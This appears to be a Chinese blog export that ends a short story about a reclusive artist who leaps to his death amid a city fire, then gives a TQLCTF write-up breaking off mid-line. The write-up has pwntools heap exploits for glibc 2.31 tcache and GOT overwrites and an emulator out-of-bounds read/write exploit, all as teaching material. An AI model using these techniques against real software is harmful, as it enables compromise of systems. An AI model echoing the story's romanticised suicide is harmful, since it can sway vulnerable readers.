他只能一个人欣赏那些老旧的艺术。有一次,他把自己关在房间里,整日沉浸在音乐与诗画的世界里,结果到了傍晚,他便冲出房间,在厕所里吐掉了午饭。那一天,他整日都没怎么喝水,午饭也不过是几块干涩的面包。他只是小心翼翼地把几天前残留的羹汤吮吸干净,然后在这密闭的房间里忘我一整天。他本以为精神上的富足能够抵挡物质上的匮乏,可那种恶心感却轻易地摧毁了他的美梦。这时他才发现,自己已经老了,已经不再为歌德而着迷了。他没法再像曾经一样,连着数日都沉醉在那醇厚的艺术中了。\n 可即便如此,他的艺术却仍是细腻而沉重的,是这个时代没有必要的繁冗,即便他已经不再着迷于那些老旧的艺术。他发现自己厌烦了对自己来说一成不变的调式,对贝多芬、莫扎特、柴可夫斯基开始不闻不问;他开始惧怕梵高和达芬奇的作品,对墙上挂着的油画视而不见;他不再关心那些堆积成山的书籍,对雨果和托尔斯泰视若无睹。所有被人们称之为经典的艺术作品,他都一一欣赏过。这些东西堆积在他的脑袋里,让他越来越严肃,越来越不快乐,让他以为艺术就是要有那般庄严肃穆。摒弃了一切诙谐和欢快,他要求焦土上的生灵为痛苦而歌,要求高筑冰冷的城墙去守护伊甸;他还要求金黄的麦浪能掀来残阳的余温,要求昏黑的雪夜会有无家可归的孩子在桥洞里颤抖。因此,他对这座轻浮的城市感到不可理喻,感到愤慨,对一直身处在繁华世界的自己感到无趣。\n 于是他逃走了,乘着列车逃到了僻静的村庄,在那里盖了座小屋。村民们欢迎这个知识渊博的先生的到来,但他却将这些热情全都回绝,过着和原先一样闭门不出的生活。他没有带任何作品,也不做任何装饰,这让屋子显得格外清贫,不像活人的住所。\n 他什么都没带,没有那些艺术的陪伴,他觉得自己仿佛少了些什么。无所事事的瘫倒在床,思考着自己的艺术究竟是什么。可一个星期之后,他只弄明白了一件事——自己和孤独不能相溶。他觉得此刻的自己比街边的流浪狗还落魄,缺乏了对生的渴望,只因为还能活一段时间才活着。他用以麻痹自己的艺术没有带来,自己也从未有过什么朋友,就像是把自己丢进了肮脏的水坑一样,缠着怎么洗都洗不掉一股恶臭。\n 于是他想沉沉睡去,却被一张烟花海报扯出梦境。海报与那些报纸一样单调,让他越是回想就越是痛苦。他恨不得现在就把海报揉成纸团丢出窗外,又或是用打火机将它在烟灰缸里点燃,可他颤颤巍巍地不知道该做些什么。\n 混乱与麻木纠缠着他的思想,让它动弹不得。望着一张尘俗的海报都看得出神,却不过是在发呆罢了。与那些只知复述的奴隶一样,他越来越不懂得思考。愚昧把他拉进深海,让他忘记自我成为木偶。直到他回过神来,才发现自己此刻沦为了城市的奴隶,被怠惰与庸俗卡住了思考。摔碎茶杯也排解不了他的愤怒,强行保持镇定的表情也藏不住隐约扭曲的嘴角,他为自己的无能愤怒不已,却又无可奈何。\n 于是他踏着月光,寻着海报上的地址来到了镇上的一家咖啡厅。他知道现在做什么都无济于事,所以他刻意不去留意自己的情感,只是随意地在街上乱逛,希望时间能够慢慢抚平这份不满,碰巧走进了这里罢了。\n 空旷的咖啡厅和他的房间一样无人光顾。随意地点了一杯咖啡,坐在角落的空位上,他第一次尝到了咖啡的香醇与酸涩。那是与酒精截然不同的味道,让他离梦境越来越远,也越来越清醒。他停滞的脑袋又再次开始运作了,在苦涩的鞭策下恢复了神志。仅靠一杯咖啡就能阻止的堕落是何等的廉价,所谓的出逃与争论在这杯咖啡面前都显得渺小。\n “也许我只是需要酒精和咖啡的混合饮料而已吧。”他如此自嘲。\n 可潜逃虽是孤独的,思考却仍是悲伤的。在拾回遗弃的思考之后,他又重新觉得悲伤。兽性与本能在理智的抑制下,让他觉得赴死并不是多么可怕的事情。喜悦与麻木渐渐远去,他忍受着疼痛端坐桌前,却不知该思考些什么了。分明已经取回了思考的能力,却被世界抛在了臭水沟。忧郁与沉默再次笼罩他的周遭,他盯着寂静的街道看得出神。\n “轰!”\n 一声巨响为他的死寂掀起波浪,紧接着伴随着人群的呼喊与警笛声为这场闹剧拉开帷幕。\n 天空被火焰烧成橘红,滚滚黑烟涌出巨塔。整座大楼成了一把火炬,火光下的人们旁观着、吆喝着、奔走着、溃散着。人们不再抓住对方的衣襟怒吼,也不再关心脚底下的协议,现在他们只关心这把火炬会烧到什么时候,灰烬中能不能淘出点金币罢了。而消防车被堵在街的尽头,冲进大楼里的不是消防队,而是那些可怜的乞丐、失业者和各种各样的穷人。母亲把怀中的孩子丢在一旁冲进火海,乞丐扔下破碗闯入大楼。看呐!从角落溜走的盗贼怀里揣着的是本该被烈火烧毁的丝绸!而接二连三奔出的穷人们都揣着那终于属于他们的财宝!会被问罪吗?并不会。那些本该被大火带走的东西,只不过是换了一种方式消失在视线的边界。\n 而他站在大楼底下,痴痴地望着火焰窜上天际。撒下的黑灰掉进眼里,他闭上半只眼睛,却不愿低头,生怕错过了什么似的。就连他自己都没意识到,自己此刻正沉醉于这副美景。这是他梦寐以求的艺术,是他人生的写照,他现在只想成为废墟,将这副美景刻进骨骼,让它在血液中奔走……\n 距离那场被称之为意外的火灾,已然过去了半年。整座城市的思考越发脱离地面,高筑起宏伟的空中楼阁。思想的价格正在飞速下滑,铺天盖地涌来的都是报纸和杂志。这里整日都是游行与示威,终日都在争辩与修饰,只有环卫工人在抱怨生活艰苦,堆积的废纸怎么也扫不干净。\n 而这份长久的烈焰终于略显疲惫,在人们的热情之下是喘息和大汗淋漓。他们高举着牌子,置身在朝阳之下煎熬。尽管他们不曾抱怨这份艰辛,却也不再为伸张正义感到自豪了。他们早已在这份长盛不衰的热烈中褪去的荣光,甚至分不清东西南北。现在的木牌上还写着自由万岁,半个小时后就光明正大地进到了修正革新的队伍中。而当天完全亮了,街上又看不见这群疯子了。当他路过工厂的时候,发现刚才举牌子的年轻人现在正利索地车着工件,完全看不到刚才的热情。这份荒谬简直越发难以理解了。\n 直到那天晚上,那个被叫做“圣诞节”的晚上,街道上不再有人喧闹,让人仿佛产生了神圣的错觉。宛若海市蜃楼般折射在这座城市上的映像像极了五十年前的乌托邦的和睦,像极了他还未诞生的世界。漫天飘散的不再是报纸,而是一幅幅轻浮的海报和短篇故事。它们混杂在金黄色的碎屑和烟火的灰烬之中,从一座座拔地而起的尖塔顶端向着水泥和空虚的远方飞舞。\n 他们没有燃烧,更不可能染上殷红,可却比教条更加吸引人,比主张更加深入人心,比报纸更加夺人眼球,比抗争更加轻松愉悦。这是一份份不加思考的余孽,是他倾尽所有下的垃圾,是淹没这座城市的洪流,是抚平纷争的麻药。\n 他确信,人们也证实了,都市传说要比英雄传记更受人欢迎,虚幻故事比虚无主义更加简洁明了。人们会爱上小说里的乞丐,会敬佩故事里的流浪汉,却绝不认同和怜悯现实里的落魄之人。这座轻浮而辉煌的空中监狱正被故事与传说拽向地面。仅靠这数百篇荒谬故事与略加修正就变成新奇设计的海报就将它轻而易举地掩埋了。他舍弃了庄严肃穆,舍弃了雍容华美,他将自己浸泡在痛苦与煎熬之中,让思想发酵腐烂,以适应人们那庸俗的娱乐。他只珍藏了一部老旧的相机,以及一份源于火灾的幻梦。\n 这些传说仅花了一个星期就占据了城邦。长久以来都提心吊胆的政府终于松了一口气,因为民众已经沉醉于娱乐的迷幻,而不是高举革命的大旗了,他们也不再迫切于回应人们的胡闹,可以将在这块思想肆虐之后的废墟上再次修筑高楼。\n 自此,他将比虚无更虚无、比迂腐更庸俗的废纸散入人心,让他们欢呼、让他们为愉悦呐喊。然后落幕再开幕,开幕之后再落幕。此刻的他不再渴望那份神圣,是幻梦在为他引路。\n 那是一个无比落寞的夜晚,仅对他来说是这样。于他以外的所有人,恐怕都陷落在恐慌或是狂喜,又或是两者都有的泥沼中。他们挣扎、他们高呼,他们攥紧手中的钞票而对飞舞的焰星视而不见。\n 但他们仍是无所事事的僵尸与傀儡,一声巨响却将他们从催眠中扯出。绚烂的焰火点燃高楼,一声声轰鸣坍塌了基座。天空中撒下的无数玻璃碎屑折射出点点星芒,那是幻觉、是火星,还是那不可视的界限。伴随在碎屑之中起舞的钞票在空中更是比蝴蝶还要动人,漫天飘舞的都是人们的梦想与希望。信号塔底的人们沸腾着,疯狂地争夺着残渣。他们闯入烈焰,与烈焰争夺燃料;撕扯同类,与同类争夺燃料。消防车驶不过人海,更没有人能拯救被践踏的尊严。抵挡这股冲动的警察,现在更是在他们脚下。流浪汉和乞丐匍匐,用身体去揽住烟酒,祈求在人们的践踏下幸存。他们痴笑的表情与此刻的普通人无二,口齿不清却想要表达欣喜,胀得通红的脸颊中混着一丝挤兑的苍白,嘴唇泛起淤青的紫色,眼中充斥亢奋的血丝。他们的表情与其他普通人一样,此刻大家都是疯子,不分高低贵贱。\n 城市中的大火越发旺盛了,几乎把整个城西都点燃了。他站在最高的楼顶,俯视着底下的蝼蚁相互夺食。他打开怀表,那本该是一枚银白色的怀表,现在却在火焰的映照下变成橘色。现在是深夜的十一点,还有五分钟就要迎来十二点的落幕了。他将银怀表挂在满是抓痕的脖子上,又披上了自己最心爱的黑色风衣,戴上一顶黑色的礼帽,顺手将最后的礼物洒下。\n 他的呼吸逐渐急促,思考也渐渐终止。他的灵魂在这一刻与所有人共鸣,他的历啸传遍整个城西。此刻的他只想成为废墟,成为在烈火中凋谢的昙花。他一跃而下,伴随午夜十二点的钟声,在这片虚无中消逝。他的残渣将遍布这座城市,他的疯狂将根植所有人内心。目睹他疯狂的人一个也没有,但这枚种子却被珍藏在相片里。那张照片决不是他艺术的顶峰,却会是无人企及的深海。它没有其他颜色,黑白交织而成的画面却堪比真实。苍白的火焰簇拥着坠落的他,银色的怀表闪烁着微弱的光,黑压压的人群相互挤兑,一只乌鸦掠过镜头。在这短暂的数秒之内,最后一篇故事诞生了。\n 它没有什么价值,至少远不及它的作者,但所有的故事都在这个悬空里画上句号了。只有这一个符号,在他整段长达五十年的人生中,只有这一个符号,是他自己标上的。而在我这不过十年的旅途中,只有他一个,我见过的所有人当中,只有他一个,被隔绝在世界之外,却把整个故事写进了墙内……\n后记:\n那部相机最后是我回收的。它就架在这条街的拐角处的露台上,正好能将他跃下的侧面拍下。我不得不感叹他的勇气与智慧,更该为他的好运庆幸。谁都不能保证照片最终能以完美的状态被拍下,可他依然这么做了。\n我们并没有碰过面,更没有实际交流过。或许这一切都只是我的臆想和愿望,希望他是我所期望的人,但这都无关紧要。我毕竟没能与他讨论艺术,自然也不可能明白他所期望的结局是什么样的,但他的作品无论有我没我,都早已完成了。哪怕多出这么一片关于他的故事,想必也不会有任何改变吧。\n只是我在那之后很快就离开了那里,由的于工作原因,我必须漂泊于世界各地,于是他的照片迟迟没能发布,现在也被珍藏在瑞蒂克洛斯——他曾经的住所中。\n——糜鹿手记\n","categories":["Story"],"tags":["故事","短篇"]},{"title":"TQLCTF-RE/PWN复现报告","url":"/2022/02/25/tqlctf-re-pwn/","content":"RETales of the Arrow在遇到这题以前甚至都没接触过2-sat问题,所以这次也对这个问题做个概述吧。\n以下内容摘自OI WIKI:\n\n2-SAT,简单的说就是给出 n个集合,每个集合有两个元素,已知若干个,表示 a与 b矛盾(其中 a与b属于不同的集合)。然后从每个集合选择一个元素,判断能否一共选n个两两不矛盾的元素。\n\n而本题关键如下:\ndef get_lit(i): return (i+1) * (2*int(bits[i])-1)for t in range(N): i = random.randint(0,n-1) p = random.randint(0,2) true_lit = get_lit(i) for j in range(3): if j == p: print(true_lit) else: tmp = random.randint(0,n-1) rand_true = get_lit(tmp) if random.randint(0,3)==0: print(rand_true) else: print(-rand_true)\n\n每轮打印比特流中的随机三位的比特状态,但这个状态有可能会取反。且取反与否发生的概率是0.5。\n一开始是3-sat问题,每轮必有一个数是真实状态,另外两个数则可真可假。但3-sat是NP完全问题,基本属于不可解。所以首先我们根据明文的特殊条件消除不确定性。\n因为字符串必定是可打印的字符串,其由ASCII码组成,最高位必定为0。那么这一位的状态必定是负数,如果打印出该位的状态是正数,则表示它并非必然真值,那么该组数据中另外两个必有一个为真。如果将所有带有上述情况的组别取出,问题便被缩减到2-sat,即必有一真,另一者可真可假。\n2-sat问题存在多项式解法(这是结论,笔者并没有证明过),即在数据量足够的情况下,该问题会有唯一解。本题一共给出了5000组数据,符合本条件。\n而本题之后的解法也很朴素,在二选一的条件下,如果又出现了“必为负数”的位被以正数打印出来,那么最后一个数就必定真值了,将所有确定真值的位全都统计下来,就能还原完整的比特流。\n参考Nu1L发布的WP自己改的:\nf = open("output.txt") n = int(f.readline().rstrip('\\n'))N = int(f.readline().rstrip('\\n'))x=[]for i in range(1,5000): x1=int(f.readline()) x2=int(f.readline()) x3=int(f.readline()) x.append([x1,x2,x3])true_numer=[]for i in range(n//8): true_numer.append(-8*i-1)flag=[]for i in range(n): flag.append(0)for i in x: if(((-i[0] in true_numer) + (-i[1] in true_numer) + (-i[2] in true_numer))==2): count+=1 for j in range(3): if((i[j] not in true_numer)and(-i[j]not in true_numer)): true_numer+= [i[j]]for i in true_numer: if(i<0): flag[abs(i)-1]=0 else: flag[i-1]=1flag_text=""for i in flag: flag_text+=str(i)print(bytes.fromhex(hex(int(flag_text,2))[2:]))f.close() \n\n## PWNunbelievable_write任意地址free,没有泄露,没有PIE,本该是道简单题,结果做了一整天……看完官方WP之后发现自己还是想的太少了,不过我自己的方法姑且也打通了,所以先从笔者的方法开始吧。\nlibc版本是2.31,已经有tcache了。因为此前我很少接触这个部分,所以这次记的详细一些(个人其实不太愿意在需要之前主动去掌握利用方式,这看着有些像是在“为了利用而利用”)。\n程序逻辑这里不再复述,唯一值得注意的就是,它会很快就把本轮开辟的chunk释放掉,所以很难在Bin中布置chunk。\n任意地址free允许我们直接把tcache_perthread_struct释放,其结构如下:\ntypedef struct tcache_perthread_struct{ uint16_t counts[TCACHE_MAX_BINS];//TCACHE_MAX_BINS=64 tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;typedef struct tcache_entry{ struct tcache_entry *next; struct tcache_perthread_struct *key;} tcache_entry;\n\n可知该结构体大小为0x290,且能够控制Tcache bin的各项数据,包括链表和计数。\n所以我们首先把它释放掉,然后向其中填充数据:\n#首先我们先开辟一个chunk让它放到tcache bin里,事后备用payload1='aaaaaaaa'create_chunk(0x28,payload1)#然后释放tcache_perthread_structfree_index(-0x290)#接下来将tcache里的count全都置7,表示装满,以后的chunk就不会再放到这里了#同时在里面将几个next指向free_got和target_addr#这样我们之后就能向free_got和target写入数据了payload1=(p16(7)*0x28).ljust(128,b'\\x00')+(p64(free_got)+p64(target_addr)+p64(0)+p64(0))create_chunk(0x288,payload1)\n\n在写入数据之后,它会立刻把tcache_perthread_struct释放掉,不过现在会因为Tcache Bin已经满了,而被放到Unsorted Bin里。Bin结构如下:\ntcachebins0x20 [64480]: 0x404018 (free@got.plt) —▸ 0x7f1f03f31850 (free) ◂— endbr64 0x30 [1031]: 0x404080 (target) ◂— 0xfedcba9876543210.......0x280 [ 7]: 0x00x290 [ 7]: 0x0unsortedbinall: 0x1866000 —▸ 0x7f1f0407fbe0 (main_arena+96) ◂— 0x1866000\n\n首先我们先开辟0x50大小的chunk,将Unsorted Bin里的块分割开,避免里面挂着tcache_perthread_struct的头部(原因之后会解释)。\n#这里payload1没变,其实填什么都行,目的只是分割罢了create_chunk(0x48,payload1)#然后将free_got写成main,而0x401040是默认数据#在从tcache bin中获取chunk时,会将key部分写为0,这会导致free的下一个函数被清零#所以恢复其中未装载时的状态,防止调用它时发生异常payload1=p64(main_addr)+p64(0x401040)create_chunk(0x18,payload1)#然后再把target拿下来,随便写点数据进去就行了,只要不是原数就行create_chunk(0x28,payload1)#最后我们调用c3函数即可open_flag()\n\n如果我们事前没有切割Unsorted Bin,会因为2.31版本的libc检测,发生如下异常:\n\nmalloc(): unsorted double linked list corrupted\n\n因为之前Unsorted Bin中挂的是tcache_perthread_struct,在从tcache中取出chunk的时候,会把count减一,导致fd指针无所指向,构不成回环而错误(前几个版本还不这么严格,2.31显然变得苛刻了不少)\n但这个错误是发生的puts时的,该函数会在输出时为字符串开辟堆空间,所以在开辟时企图从Unsorted Bin分配时才被检测到,不会影响从Tcache Bin中的分配。\n另外,还需要注意的一点是,不能直接把free_got写成c3函数中绕过检查的地址。最后也会crash在puts中。但笔者目前不知道为什么写成main就可以,而写成c3就会crash,如果有师傅知道的话务必教教我。\n笔者自己的完整EXP:\nfrom pwn import *context.log_level = 'debug'p = process('./pwn')elf=ELF('./pwn')malloc=0x401387free=0x4013fdret=0x40154Dfree_got=elf.got['free']target_addr=0x404080ptr_addr=free_gotmain=0x40152Dmas=0x401473mas=maindef create_chunk(size,context): p.sendline(str(1)) p.sendline(str(size)) p.sendline(context)def free_index(index): p.sendline(str(2)) p.sendline(str(index))def open_flag(): p.sendline(str(3))payload1='aaaaaaaa'create_chunk(0x28,payload1)free_index(-0x290)payload1=(p16(7)*0x28).ljust(128,b'\\x00')+(p64(ptr_addr)+p64(target_addr)+p64(0)+p64(0))create_chunk(0x288,payload1)create_chunk(0x48,payload1)payload1=p64(mas)+p64(0x401040)create_chunk(0x18,payload1)create_chunk(0x28,payload1)open_flag()p.interactive()\n\n然后回到官方WP,出题人表示,能写got纯粹是一个意外,它的本意是利用io,大致逻辑如下:\n\n首先释放tcache_perthread_struct,然后修改mp_,该值确定了tcache bin中最大能容纳的chunk大小,让0x1000等chunk也使用tcache\n同时在tcache bin中挂上target,然后在使用stdout时会从中申请chunk,并将数据写进该chunk\n\nstatic struct malloc_par mp_ ={ .top_pad = DEFAULT_TOP_PAD, .n_mmaps_max = DEFAULT_MMAP_MAX, .mmap_threshold = DEFAULT_MMAP_THRESHOLD, .trim_threshold = DEFAULT_TRIM_THRESHOLD,#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) .arena_test = NARENAS_FROM_NCORES (1)#if USE_TCACHE , .tcache_count = TCACHE_FILL_COUNT, .tcache_bins = TCACHE_MAX_BINS, .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1), .tcache_unsorted_limit = 0 /* No limit. */#endif};\n\n官方EXP如下:(笔者自行添加了注释)\n#!/usr/bin/env python3from pwn import *context(os='linux', arch='amd64')#context.log_level='debug'def exp(): io = process('./pwn', stdout=PIPE) def malloc(size, content): io.sendlineafter(b'>', b'1') io.sendline(str(int(size)).encode()) io.send(content) def tcache_count(l): res = [b'\\x00\\x00' for i in range(64)] for t in l: res[(t - 0x20)//0x10] = b'\\x08\\x00' return b''.join(res) try: #在top chunk中布置0x404078,扩大tcache之后,这些都会变为next指针 malloc(0x1000, p64(0x404078)*(0x1000//8)) #释放tcache_perthread_struct io.sendlineafter(b'>', b'2') io.sendline(b'-656') #首先把0x290的count置8,让tcache_perthread_struct放进unsorted bin malloc(0x280, tcache_count([0x290]) + b'\\n') #然后分割tcache_perthread_struct,让tcache bin中的0x400和0x410项放入main_arena+96 malloc(0x260, tcache_count([0x270]) + b'\\n') #然后把0x400和0x410也拉满,然后把0x400里的地址低位改成0xf290 #这是单纯的爆破,希望它能指向&mp_+0x10 malloc(0x280, tcache_count([0x400, 0x410, 0x290]) + b'\\x01\\x00'*4*62 + b'\\x90\\xf2' + b'\\n') #倘若指向了&mp_+0x10,那么就修改数据扩大tcache malloc(0x3f0, flat([ 0x20000, 0x8, 0, 0x10000, 0, 0, 0, 0x1301000, 2**64-1, ]) + b'\\n') #调用puts,让它为stdout开辟缓冲区,此时会从tcache中获取chunk #但tcache中已经被布置了0x404078,所以会得到此处内存 #并且这个内存处会被陷入puts的字符串 io.sendlineafter(b'>', b'3') #此时target已被修改,直接调用即可成功 io.sendlineafter(b'>', b'3') flaaag = io.recvall(timeout=2) print(flaaag) io.close() return True except: io.close() return Falsei = 0while i < 20 and not exp(): i += 1 continue\n\n另外补充一些内容。虽然之前知道vtable的跳转,但我没深究过,这次遇到了,所以顺便做点总结。puts函数在调用时会通过vtable访问_IO_file_xsput函数,该函数才是真正的puts实现,调用过程如下:\n\nputs–>_IO_file_xsputn–>_IO_file_overflow–>_IO_doallocbuf-->_IO_file_doallocate\n\n_IO_file_doallocate中真正调用malloc开辟缓冲区,调用源码:\n_IO_new_file_overflow (FILE *f, int ch){ ...... /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 f->_IO_write_base == NULL) { /* Allocate a buffer if needed. */ if (f->_IO_write_base == NULL) { _IO_doallocbuf (f); _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } ......}libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)\n\n_IO_doallocbuf中通过跳转表调用_IO_file_doallocate开辟空间。\n至此本题结束。\nnemu一个模拟器,个人认为难点在于把握整个程序的逻辑。因为程序本身的体量不小,光是漏洞发觉就需要好一阵子。\n样本分析help命令可以知道一共有多少命令可用。\n(nemu) helphelp - Display informations about all supported commandsc - Continue the execution of the programq - Exit NEMUsi - Execute the step by oneinfo - Show all the regester' informationx - Show the memory thingsp - Show varibeals and numbersw - Set the watch pointd - Delete the watch pointset - Set memory\n\n阅读源代码可知,初始化阶段调用load_img加载image,nemu使用的image内容如下:\nstatic inline int load_default_img() { const uint8_t img [] = { 0xb8, 0x34, 0x12, 0x00, 0x00, // 100000: movl $0x1234,%eax 0xb9, 0x27, 0x00, 0x10, 0x00, // 100005: movl $0x100027,%ecx 0x89, 0x01, // 10000a: movl %eax,(%ecx) 0x66, 0xc7, 0x41, 0x04, 0x01, 0x00, // 10000c: movw $0x1,0x4(%ecx) 0xbb, 0x02, 0x00, 0x00, 0x00, // 100012: movl $0x2,%ebx 0x66, 0xc7, 0x84, 0x99, 0x00, 0xe0, // 100017: movw $0x1,-0x2000(%ecx,%ebx,4) 0xff, 0xff, 0x01, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, // 100021: movl $0x0,%eax 0xd6, // 100026: nemu_trap }; Log("No image is given. Use the default build-in image."); memcpy(guest_to_host(ENTRY_START), img, sizeof(img)); return sizeof(img);}\n\n程序只给了一部分实现,像是exec_real函数就并未给出源代码,因此只能靠逆向完成。其大致过程如下:\n.data:000000000060F240 opcode_table opcode_entry 0Fh dup(<0, offset exec_inv, 0>).data:000000000060F240 ; DATA XREF: exec_2byte_esc+9E↑o.data:000000000060F240 ; exec_2byte_esc+A5↑r ....data:000000000060F240 opcode_entry <0, offset exec_2byte_esc, 0>.data:000000000060F240 opcode_entry 56h dup(<0, offset exec_inv, 0>).data:000000000060F240 opcode_entry <0, offset exec_operand_size, 0>.data:000000000060F240 opcode_entry 19h dup(<0, offset exec_inv, 0>)......以下略\n\n其中,opcode_entry结构体如下:\ntypedef struct { DHelper decode; EHelper execute; int width;} opcode_entry;\n\ndecode和execute都是函数指针,它们指向解析指令函数和执行指令函数。\n例如:exec_mov(本题似乎只实现了mov指令,其他指令的执行函数是无效的)\nvoid __fastcall exec_mov(vaddr_t *eip_0){ __int64 v1; // r9 __int64 v2; // r9 operand_write(&decoding.dest, &decoding.src.val); v1 = 108LL; if ( decoding.dest.width != 4 ) { v1 = 98LL; if ( decoding.dest.width != 1 ) { v1 = 63LL; if ( decoding.dest.width == 2 ) v1 = 119LL; } } if ( __snprintf_chk(141182936LL, 80LL, 1LL, 80LL, "mov%c %s,%s", v1, decoding.src.str, decoding.dest.str) > 79 ) { fflush(stdout); fwrite("\\x1B[1;31m", 1uLL, 7uLL, stderr); fwrite("buffer overflow!", 1uLL, 0x10uLL, stderr); fwrite("\\x1B[0m\\n", 1uLL, 5uLL, stderr); v2 = 108LL; if ( decoding.dest.width != 4 ) { v2 = 98LL; if ( decoding.dest.width != 1 ) { v2 = 63LL; if ( decoding.dest.width == 2 ) v2 = 119LL; } } if ( __snprintf_chk(141182936LL, 80LL, 1LL, 80LL, "mov%c %s,%s", v2, decoding.src.str, decoding.dest.str) > 79 ) __assert_fail( "snprintf(decoding.assembly, 80, \\"mov\\" \\"%c %s,%s\\", (((&decoding.dest)->width) == 4 ? 'l' : (((&decoding.dest)" "->width) == 1 ? 'b' : (((&decoding.dest)->width) == 2 ? 'w' : '?'))), (&decoding.src)->str, (&decoding.dest)->str) < 80", "src/cpu/exec/data-mov.c", 5u, "exec_mov"); }}\n\ndecoding是全局变量,指令会先被解析到decoding中,然后在exec_mov中使用该结构。结构如下:\ntypedef struct { uint32_t opcode; vaddr_t seq_eip; // sequential eip bool is_operand_size_16; uint8_t ext_opcode; bool is_jmp; vaddr_t jmp_eip; Operand src, dest, src2;#ifdef DEBUG char assembly[80]; char asm_buf[128]; char *p;#endif} DecodeInfo;\n\n阅读大致源码就能发现,nemu在模拟指令执行流程,但每一条指令都不是真正被执行的,并且也由于它实现的指令数量太少,不可能通过加载字节码的方式来利用,所以应该另寻他路。\n但注意到所谓image是一个数组,通过下述定义:\n#define PMEM_SIZE (128 * 1024 * 1024)uint8_t pmem[PMEM_SIZE] = {0};\n\n其既然作为全局变量被声明,就说明它并非开辟在栈上,但也因为它过大的尺寸且不需要初值,所以被置于不占空间的bss段上,那么访问该映像就是访问bss。注意到nemu提供了指令x用于获取对应地址的内容,其关键实现如下:\nuint32_t __fastcall vaddr_read(vaddr_t addr, int len){ return *&pmem[addr] & (0xFFFFFFFF >> (8 * (4 - len)));//len==4}\n\n能够发现,它没有对地址进行限定,也就是说,能够访问超出image范围的内存,实现任意地址读(指任意高地址读)。\n同时,指令set的核心实现vaddr_write如下:\nvoid __fastcall vaddr_write(vaddr_t addr, int len, uint32_t data){ uint32_t dataa; // [rsp+4h] [rbp-14h] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-10h] dataa = data; v4 = __readfsqword(0x28u); memcpy((addr + 0x6A3B80LL), &dataa, len);}\n\n0x6A3B80LL就是pmem,这里同样没有做地址限制,能够实现任意地址写(但必须注意,任意地址写并不准确,只能往pmem的高地址任意写,没办法向低地址写)。\n既然已经能任意地址读写了,那我们的目的自然也就明确了,读出libc_base,然后某个函数为one_gadget就行了。\n看起来这样好像就行了,但如果没看过wp就不会这么顺利了,也把其他指令分析一下看看吧。\n指令w的核心是set_watchpoint:(精简后)\nvoid __fastcall set_watchpoint(char *args){ if ( flag ) { v2 = free_; v3 = free_->next; free_->old_val = v1; v2->next = 0LL; free_ = v3; *v2->exp = *args; *&v2->exp[8] = *(args + 1); *&v2->exp[16] = *(args + 2); *&v2->exp[24] = *(args + 6); *&v2->exp[28] = *(args + 14); v4 = head; if ( head ) { while ( v4->next ) v4 = v4->next; v2->NO = v4->NO + 1; v4->next = v2; } else { v2->NO = 1; head = v2; } }}\n\nnemu对watchpoint的内存使用内存池管理,在初始化阶段通过init_wp_pool构建内存池:\nvoid __cdecl init_wp_pool(){ __int64 v0; // rax int i; // edx v0 = 141180952LL; for ( i = 0; i != 32; ++i ) { *(v0 - 56) = i; *(v0 - 48) = v0; v0 += 56LL; } wp_pool[31].next = 0LL; head = 0LL; free_ = wp_pool;}\n\nhead和free以及wp_pool都是watchpoint结构体指针,定义如下:\ntypedef struct watchpoint { int NO; struct watchpoint *next; char exp[30]; uint32_t old_val; uint32_t new_val;} WP;\n\n而wp_pool同时也是一个数组,但这方面不用多想,逻辑是朴素的:\n\n内存池是wp_pool,初始化阶段会将整个内存池挂进free_\n申请wp时,从free_中获取一个结构体;释放时,将目标放回free_链表(均通过next指针)\nhead指针是指向使用中的wp结构体的在调用set_watchpoint时,将申请到的结构体挂进head,通过head遍历所有的wp\n\n这里同样有能够利用的地方,重点如下:\nv2 = free_;v2->next = 0LL;*v2->exp = *args;\n\n如果我们能够修改free_的内容为某个地址,就能通过指令w向该地址写入数据了\n不过会否有些多此一举?不是已经能够任意地址写了吗?那这有什么意义呢?\n尽管已经能够任意地址写了,但vaddr_write是写4字节,set_watchpoint能一次写入0x28字节;并且,我们需要把写入地址传给vaddr_write,这些参数会经过expr的处理,经笔者测试后发现,对于一些较大的地址参数会被越过而无法写入。不过expr函数的主要作用就是解析参数,似乎我们不应该费力去分析它的工作流程,所以笔者对w指令的分析到此为止,不再深入\n指令d的核心是delete_watchpoint,是指令w的逆操作,这里不再赘述。而指令p、指令q等则未完成,所以没有实现。\n至此我们已经分析完会接触到的所有指令,并有了思路,接下来是利用。\n首先我们应该泄露libc_base。但读取数据是有限制的,首先,我们只能读取pmem的高位,其次,不能高出太多,最多是四个字节的表示范围内。所以我们应该从bss中找一个能够获取chunk地址的数据。通过调试,我们选择re为目标:\nstatic regex_t re[NR_REGEX];\n\n这个数组在初始化完成以后会被放入一系列的缓冲区,大致结构如下:\n{ __buffer = 0x86a5530, __allocated = 0xe0, __used = 0xe0, __syntax = 0x3b2fc, __fastmap = 0x86a5420 "", __translate = 0x0, re_nsub = 0x0, __can_be_null = 0x0, __regs_allocated = 0x0, __fastmap_accurate = 0x1, __no_sub = 0x0, __not_bol = 0x0, __not_eol = 0x0, __newline_anchor = 0x0}\n\nbuffer是从堆上开辟的,任意读一个buffer出来,我们都能拿到堆的基址:\ncmd_x(pmem_end+0x40)recv_pad()#吸收掉无用数据heap_base=int(p.recv(8),16)-0x530print("heap_base:"+str(hex(heap_base)))\n\n然后通过调试找一块在当前状态下fd或bk未没清空的chunk(笔者试着在Bin中查找,但那个方法不太起效,所以直接通过gdb的heap指令找了一块出来):\n#因为一次只能读取4字节,所以需要调整参数读两次target_chunk=heap_base+0x19770+0x10cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18)recv_pad()libc_leak=int(p.recv(8),16)cmd_x(heap_base+(0x951d090-0x9504000)-pmem_start+0x18+4)recv_pad()libc_leak2=int(p.recv(8),16)libc_leak=(libc_leak2<<32)+libc_leaklibc_base=libc_leak-(0x7f575472db98-0x00007f5754369000)print("libc_base:"+str(hex(libc_base)))\n\n接下来就需要写got表了,但我们知道,got表在pmem的低地址处,正常操作写不到它,因此这里需要用到指令w来做另外一种写数据:\n#首先,把free_写入printf_chk_got-0x30cmd_set(free_-pmem_start,printf_chk_got-